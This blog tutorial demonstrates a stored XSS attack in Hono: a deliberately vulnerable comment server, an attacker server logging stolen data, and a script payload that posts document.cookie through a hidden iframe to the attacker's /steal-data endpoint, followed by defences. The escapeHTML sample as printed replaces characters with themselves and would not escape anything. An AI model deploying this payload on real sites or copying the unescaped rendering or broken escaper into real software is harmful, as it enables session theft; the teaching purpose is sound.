In this article, I'll explain how a Cross-Site Scripting (XSS) attack works and walk through a simple example of implementing and testing a stored XSS attack using Hono. I’ll also provide code samples for both the victim's and the attacker’s setup, along with ways to defend against such attacks.
How XSS Attacks Work
Cross-Site Scripting (XSS) is a type of web vulnerability that allows an attacker to inject malicious scripts into a web page. When other users visit the page or perform certain actions, the script executes in their browser, potentially compromising their data or leading to unauthorized actions.
Types of XSS Attacks
Stored XSS Attack: The attacker submits a script through a feature like a comment section. When other users view the page, the malicious script runs in their browser.
Reflected XSS Attack: The attacker tricks the user into clicking a link that sends a request to the server, reflecting the script in the response and executing it.
DOM-based XSS Attack: The script executes directly within the browser as a result of DOM manipulation.
In this post, we'll focus on stored XSS, demonstrating how it works and how to prevent it.
Setting up the Attack
We’ll create two servers using Hono, one for the victim (localhost:3000) and one for the attacker (localhost:4000).
Victim's Server
The victim's server has a simple comment submission and display feature. We’ll also set a cookie in the user’s browser to represent session data that the attacker will try to steal.
index.ts
for the Victim's Server
import { Hono } from "hono";
import { setCookie } from "hono/cookie";
const app = new Hono();
let comments = [];
app.get("/", (c) => {
setCookie(c, "session_id", "test"); // Setting a test session cookie
const commentList = comments.map((comment) => `<li>${comment}</li>`).join("");
const html = `
<html>
<body>
<form action="/comment" method="POST">
<input type="text" name="comment" placeholder="Enter a comment..." required />
<button type="submit">Submit</button>
</form>
<ul>${commentList}</ul>
</body>
</html>
`;
return c.html(html);
});
app.post("/comment", async (c) => {
const { comment } = await c.req.parseBody();
comments.push(comment); // Store the comment without any sanitization (for demonstration)
return c.redirect("/");
});
export default app;
This server allows users to submit comments, which will display on the same page. A session cookie, session_id
, is also set in the browser.
Attacker's Server
The attacker's server is set up to receive and log data sent by the victim's server through a malicious script embedded in a comment.
index.ts
for the Attacker's Server
import { Hono } from "hono";
const app = new Hono();
app.get("/", (c) => {
return c.text("Hello Hono!");
});
app.post("/steal-data", async (c) => {
const data = await c.req.parseBody();
console.log("Stolen Data:", data);
return c.text("Data received");
});
export default {
port: 4000,
fetch: app.fetch,
};
This server listens for any incoming data and logs it to the console.
Launching the Attack
The attacker injects the following script into the victim's comment section:
<script>
(function() {
const stolenData = document.cookie;
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.name = 'hiddenIframe';
document.body.appendChild(iframe);
const form = document.createElement('form');
form.action = 'http://localhost:4000/steal-data';
form.method = 'POST';
form.target = 'hiddenIframe';
const hiddenField = document.createElement('input');
hiddenField.type = 'hidden';
hiddenField.name = 'cookie';
hiddenField.value = stolenData;
form.appendChild(hiddenField);
document.body.appendChild(form);
form.submit();
})();
</script>
When this script is submitted as a comment, it captures the user's cookie (document.cookie
) and sends it to the attacker's server in a hidden iframe.
Preventing Stored XSS Attacks
To protect against XSS attacks, consider the following defenses:
1. Escaping User Input
Escaping special characters before displaying user-generated content prevents scripts from executing as HTML.
function escapeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
const commentList = comments.map((comment) => `<li>${escapeHTML(comment)}</li>`).join("");
2. Setting Content Security Policy (CSP) Headers
Using CSP headers limits where scripts can load from, making it harder for attackers to run unauthorized scripts.
import { secureHeaders } from "hono/secure-headers";
app.use(
"*",
secureHeaders({
contentSecurityPolicy: {
scriptSrc: ["'self'"],
},
})
);
3. Using HttpOnly Cookies
Setting the HttpOnly
flag on cookies makes them inaccessible to JavaScript, preventing them from being stolen by XSS attacks.
setCookie(c, "session_id", "test", { httpOnly: true });
This flag ensures the session_id
cookie cannot be accessed through JavaScript, adding another layer of security.
Conclusion
Stored XSS attacks can have severe implications, allowing attackers to steal user data or perform actions on behalf of users. By implementing proper input sanitization, configuring CSP headers, and using HttpOnly cookies, you can mitigate the risk of XSS attacks and protect user data.
Feel free to try out this example in a safe, local environment, and implement these defenses in your applications to safeguard against XSS attacks.
Top comments (0)